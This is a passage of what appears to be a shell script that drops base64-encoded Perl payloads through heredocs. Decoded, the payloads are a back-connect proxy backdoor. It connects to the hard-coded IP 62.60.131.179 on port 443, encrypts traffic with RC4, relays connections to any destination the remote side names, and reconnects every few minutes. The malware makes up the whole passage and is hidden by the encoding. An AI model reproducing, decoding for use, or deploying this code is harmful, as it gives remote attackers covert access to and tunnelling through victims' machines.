ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_29() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xNzknOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 